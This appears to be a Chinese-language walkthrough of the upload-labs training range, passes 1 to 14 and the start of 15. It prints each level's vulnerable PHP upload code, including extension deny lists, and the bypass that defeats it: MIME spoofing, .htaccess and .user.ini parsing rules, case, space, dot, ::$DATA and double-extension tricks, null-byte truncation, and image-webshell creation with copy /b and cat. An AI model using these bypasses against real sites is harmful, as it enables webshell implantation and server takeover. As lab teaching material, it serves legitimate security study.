1.靶场介绍
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
1.1环境要求
若要自己亲自搭建环境,请按照以下配置环境,方可正常运行每个Pass。
配置项 | 配置 | 描述 |
---|---|---|
操作系统 | Window or Linux | 推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行 |
PHP版本 | 推荐5.2.17 | 其他版本可能会导致部分Pass无法突破 |
PHP组件 | php_gd2,php_exif | 部分Pass依赖这两个组件 |
中间件 | 设置Apache以moudel方式连接 |
1.2靶机包含漏洞类型分类
2.文件上传漏洞概述
文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。
Webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。
造成文件上传漏洞的原因有很多种,所以利用的方式也有很多种,下图是一些常见的绕过方式&思路:
2.1如何判断上传漏洞类型:
0x01.pass-01(客户端js检查)
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
### 代码分析
直接上传文件得到以下提示:
查看源码:可以看到源码内对上传文件的后缀进行了限制,“var allow_ext = “.jpg|.png|.gif”;”可以得出则是对后缀名进行白名单的判断这里只要是客户端js的检测,那么就意味着只要绕过前端JS文件类型限制的话就可以上传任意文件。
通过方法
1.浏览器禁用javaScript
先选择好要上传的文件
按F12打开开发调试工具 点击齿轮设置按钮
点击停用JS
不要关闭开发调试工具 点击上传
如图所示上传成功
继续进入开发调试工具 找到文件路径 如图
打开文件链接
木马上传成功 使用中国蚁剑等工具即可连接
2.F12直接删除 onsubmit中的 return checkFile()
3.将 webshell 文件后缀名改为允许上传的后缀,然后用 burpsuite 拦截后修改 文件后缀名
0x02-pass-02(服务器白名单之MIME绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
代码分析
isset
用于检测变量是否已设置并且非 `NULL
if (isset($_POST['submit']))
就是指有没有点击上传
file_exists(UPLOAD_PATH)UPLOAD_PATH
是对上传路径的规定,这句代码的意思就判断这个上传路径的文件是否存在
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_files']['type'] == 'image/gif'))`判断文件类型是否为`image/jpeg`或者`image/png`或者`image/gif
可以判断出 Pass 02 没有使用 Pass 01 的文件后缀白名单,而是使用了MIME文件类型限制,$_FILES'upload_file'获取上传文件的MIME类型,仅允许image/jpeg、image/png、image/gif类型的文件上传。$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
规定文件路径为UPLPAD_PATH./加上文件名
move_uploaded_file($temp_file, $img_path)
将文件移动到文件上传的路径中
这里 if (($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) || ($_FILES‘upload_file’ == ‘image/png’) || ($_FILES‘upload_files’ == ‘image/gif’)) 判断文件类型是否为image/jpeg或者image/png或者image/gif
通关方法
1.修改 request 包的 content-type 字段声明文件类型为图片然后上传php文件
修改Content-Type 为image/png 后点击放行
2.直接修改文件后缀上传 jpg png gif 文件再改为php(与Pass 01 方式相同)
0x03-pass-03(服务端黑名单之特殊解析后缀)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.'); //提取文件后缀 .php
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空 去掉空格
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
$deny_ext = array('.asp','.aspx','.php','.jsp');
规定拒绝的后缀名
$file_name = trim($_FILES['upload_file']['name']);trim
就是去除空格如果文件名中有空格就去除(这里的文件名就是抓包中的file_name)
$file_ext = strrchr($file_name, '.');strrch
就是分割的意思将第一个参数按第二个参数进行分割输出后面的值
这里 if(!in_array($file_ext, $deny_ext))
判断你上面获取的file_ext
在不在deny_ext
(禁止上传后缀名中)不在的话就在继续执行下面上传代码
用黑名单不允许上传.asp,.aspx,.php,.jsp后缀的文件,变量$deny_ext声明了禁止上传的文件,上传的文件将在后端基于文件后缀名进行验证。
通关方法
利用危险后缀phtml,.php3,.php4,.php5
0x04-pass-04(服务器黑名单之htaccess解析)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//本关没有文件重命名
代码分析
提示禁止$deny_ext=array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml","
相对第三关黑名单的数量增多其余代码没有变化
引入知识点:
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置(前提要在apache下),为apache的平台做伪静态的转换,实现文件解析自定义
.htaccess
文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)
。提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride
指令来设置。
启用.htaccess
,需要修改httpd.conf
,启用AllowOverride
,并可以用AllowOverride
限制特定命令的使用。如果需要使用.htaccess
以外的其他文件名,可以用AccessFileName
指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config
。
在apache的配置文件httpd.config
,检查mod_write
模块是否开启,还有AllowOverride All
检查mod_write
模块
查找 rewrite_module
,去掉#即为启动
如果没有找到,就找到 LoadModule
模块在最后加上LoadModule rewrite_module modules/mod_rewrite.so
//注意重启apache,让apache服务器支持.htaccess
,修改httpd.conf
文件Options FollowSymLinks AllowOverride None
改为 Options FollowSymLinks AllowOverride All
通关方法
第一步 上传.htaccess文件
<FilesMatch "hack.png">
SetHandler application/x-httpd-php
</FilesMatch>
第二步 上传hack.png文件
第三步 打开hackbar
0x05-pass-05(服务端黑名单 之.user.ini)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
代码中黑名单做的很严格,基本上对 Pass04 进行了升级,并拒绝上传 .htaccess 文件。
反复观察发现没有被限制的文件名有 .php7 以及 .ini。
.user.ini :
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
众所周知 php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。
Pass05 是最新加入的环境,个人感觉像是弥补 Pass04 只能在 Apache 上浮现,因为 .user.ini 的Pass05在 nginx 上很容易复现~
但是想要引发 .user.ini 解析漏洞需要三个前提条件
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
什么是 CGI
CGI 的全称为“通用网关接口”(Common Gateway Interface),为 HTTP 服务器与其他机器上的程序服务通信交流的一种工具, CGI 程序须运行在网络服务器上。
传统 CGI 接口方式的主要缺点是性能较差,因为每次 HTTP 服务器遇到动态程序时都需要重新启动解析器来执行解析,之后结果才会被返回给 HTTP
服务器。这在处理高并发访问时几乎是不可用的,因此就诞生了 FastCGI。另外,传统的 CGI 接口方式安全性也很差,故而现在已经很少被使用了。
什么是 FastCGI
FastCGI 是一个可伸缩地、高速地在 HTTP 服务器和动态服务脚本语言间通信的接口(在 Linux 下, FastCGI 接口即为 socket,这个socket 可以是文件 socket,也可以是IP socket),主要优点是把动态语言和 HTTP 服务器分离开来。多数流行的 HTTP 服务器都支持 FastCGI,包括 Apache 、 Nginx 和 Lighttpd 等。
同时,FastCGI也被许多脚本语言所支持,例如当前比较流行的脚本语言PHP。FastCGI 接口采用的是C/S架构,它可以将 HTTP 服务器和脚本服务器分开,同时还能在脚本解析服务器上启动一个或多个脚本来解析守护进程。当 HTTP 服务器遇到动态程序时,可以将其直接交付给 FastCGI 进程来执行,然后将得到结果返回给浏览器。这种方式可以让 HTTP 服务器专一地处理静态请求,或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高整个应用系统的性能。
nginx的配置文件:
location ~ \.php{
root /var/upload;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
而对于第三点 Pass05 的提示让去看 readme.php:
<?php echo "该目录是上传文件保存,该文件为系统说明文件,请勿删除!";?>
从而确认 upload 目录存在 php 的可执行文件,环境全部满足一引发 .user.ini 文件解析漏洞
通关方法
第一种:在我的环境里可以直接使用 php7 上传
第二种:.user.ini 文件
创建一个 .user.ini 文件上传
内容为 auto_prepend_file=hack.png
然后上传hack.png即可
0x06-pass-06(服务端黑名单之大小写绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
相比于pass-4,过滤了.htaccess,源码中并没有 $file_ext = strtolower($file_ext);
来转换为小写,因此可以使用大小绕过
通关方法
文件后缀名大小写绕过法
将文件后缀改成大小写相见 或者全部大写 PhP
0x07-pass-07(服务端黑名单之空格绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
代码较上一关大致相同,少了trim函数(首尾去空)
通关方法
php文件后缀名加上一个 空格
上传一个小马,在文件名后面添加一个空格就可以绕过了,因为黑名单中并没有.php (注意这里php后面是有空格的)的声明,上传后存储文件后又会自动去除空格
注意
如果环境是linux系统,文件上传后无法解析执行
如果是 windows 的系统,windows 在保存的时候会把最后的空格取出掉,让和会将完整的 php 文件保存到服务器
0x08-pass-08(服务端黑名单之点绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
跟上题类似,只是这里少了删除文件末尾点的代码
$file_name = deldot($file_name);
通关方法
在文件后缀名后面加上一个 .
0x09-pass-09(服务端黑名单之::$DATA绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
跟上题类似,少了对字符串::$DATA的绕过
$file_ext = str_ireplace('::$DATA', '', $file_ext);
通关方法
利用Windows特性::$DATA绕过
Windows 下 NTFS 文件系统的一个特性, NTFS 文件系统的存储数据流的一个属性 DATA 时,就是请求 webshell.php 本身的数据
::$DATA是windows下对于php文件的一种定义,如果在文件名之后加上::$DATA就会不对后缀名进行检测保持::$DATA之前的文件名`
访问的时候记得删掉::$data
0x10-pass-10(服务端黑名单之双写绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
这里涉及到一个循环的问题
当这里涉及到比如deldot
对末尾点的过滤式代码中只进行了一次过滤那我们就可以考虑加2个点之后被过滤掉一个空格从“.php. .”
变为了“ php.”
这里就任然可以绕过黑名单进行上交并执行php文件内容
通关方法
php.php.空格.绕过
php.php.空格. -> 删除文件名末尾的点,变为
php.php.空格-> 首尾去空,变为
php.php.->
php.后缀不在黑名单内,绕过黑名单验证->Windows发现文件名最后有
.,自动去除 -> 最终磁盘上的文件名为
php.php
0x11-pass-11(黑名单之双后缀名绕过)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']); //移出字符串两边的空格
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
//UPLOAD_PATH是常量 表示保存路径
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
代码分析
黑名单过滤,只过滤一次
$file_name = str_ireplace($deny_ext,"", $file_name);
如果有发现有禁止的后缀名就把他换为空处理,因为str_ireplace函数只使用了一次。直接使用双写绕过就行 test.pphphp ,最后生成 test.php 文件
通关方法
把shell.php改成 shell.pphphp
这中间的随便写,是上面禁止名单里的后缀名都可以,上传的时候会自动过滤掉这部分,然后就能拼合成php的后缀了.需要注意的是文件名不要是禁止名单的后缀
0x12-pass-12(白名单之GET%00截断绕过)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif'); //hack.png
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //提取文件后缀
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; //把临时文件保存到最终位置
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
代码分析
$file_ext=substr($_FILES['upload_file'['name'],strrpos($_FILES'upload_file',".")+1);
含义是验证命名里有没有多个点,并进行循环验证,然后将文件名于白名单中的规定后缀进行对比如果有就进行上传反之上传失败
提示说本Pass文件路径可控,看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
通关方法
00截断
需要两个条件是:
1.服务器php版本小于5.3.4
,因为在5.3.4
开始已经修复0字符。
2.magic_quotes_gpc
为off状态,作用是判断解析用户提示的数据,如:post
,get
,cookie
过来的数据加转义字符’\‘,输入数据中要包含’
双引号“
,反斜线\
与NULL
时候都会被加上反斜线。和addslanshes()
函数一个意思。在php.ini
配置文件中设置。
注意:魔术引号在php的5.3.0之前默认开启,在5.3.0到5.4.0默认关闭,且在5.4.0起被废除。
当做完上面的白名单验证和定义上传路径之后,上传文件去指定位置。
$_FILES['myFile']['name']
文件上传时候本身的名字,用户定义的名字
$_FILES['myFile']['tmp_name']
文件被上传后在服务端储存的临时文件名,一般是系统默认
$img_path=$_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;
get方式传入了save_path变量后面拼接随机数+合法后缀名
当输入路径为?save_path=../upload/1.php%00
时
这是系统生成的路径为../upload/1.php%00/5020220514234059.gif
而%00
的作用是截断所以最终保存路径就为:…/upload/1.php
0x13-pass-13(白名单之POST%00绕过)
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
代码分析
这一关白名单,文件上传路径拼接生成,而且使用了post
发送的数据进行拼接,我们可以控制post数据进行0x00
截断绕过白名单
跟上面一样,只不过换成了post
请求
通关方法
修改Hax
补充:POST不会对里面的数据自动解码,需要在Hex中修改。
上传php文件,用burp抓包
将路径 ../upload/ 添加上传的文件加上+ ../upload/asd.php+
在../upload/ 路径下加上asd.php+ +号是为了方便后面修改Hex
+号的Hex是2b,这里我们要把它改为00,如下图
然后就可以放包了,注意连接蚂蚁剑时将php后面的删掉。
0x14-pass-14(文件头检测+文件包含漏洞)
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
代码分析
1.Png
图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A
。即为 .PNG
。
2.Jpg
图片文件包括2字节:FF D8
。
3.Gif
图片文件包括6字节:47 49 46 38 39|37 61
。即为 GIF89(7)a
。
4.Bmp
图片文件包括2字节:42 4D
。即为 BM
。
图片马制作
- 木马病毒:隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。
- 原理:把一句话木马,通过二进制的方式追加到图片文件末尾,将木马文件和图片合并为另一个图片文件,合并后的图片包含一句话木马而且不影响图片显示,但用记事本等文本编辑器打开,能看到图片末尾的恶意代码。然后将图片上传到网站中,利用网站的漏洞,通常是文件包含漏洞,让网站把上传的图片当成脚本代码解析,从而达到运行恶意代码控制网站服务器的目的。
简单来说就是以文件上传漏洞为基本条件,将可执行的条件写入图片中去,再利用文件包含漏洞来执行图片中存在的一句话木马,从而获取目标服务器的权限。
Windows
第一步:找一个图片
第二步:一句话木马文件
- 第三步:
win+R
、cmd
,输入copy 图片文件名/b+一句话木马文件名/a 制作的图片马文件名
- 第四步:记事本打开验证一句话木马是否写入成功
注意点:图片文件和木马文件需放在一个路径下
制作图片马命令:copy 图片文件名称/b+脚本文件名称/a 新生成的文件名称,例如:
copy 222.jpg/b+111.php/a 333.jpg
ctrl+F查找一句话木马,写入成功
Linux
将木马文件追加到图片文件后面的方法:
cat test1.asp >> test2.jpg
将两个文件合并成第三个文件的方法:
cat test1.asp test2.jpg >> test3.jpg
查找一句话木马,写入成功
通关方法
上传图片马
右键图片获取上传的路径和图片马的文件名,然后用文件包含漏洞include.php?file=访问该文件,在蚁剑上连接成功
127.0.0.1/upload1/include.php?file=./upload/3720220811140725.png
0x15-pass-15(文件类型检测+文件包含漏洞)
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
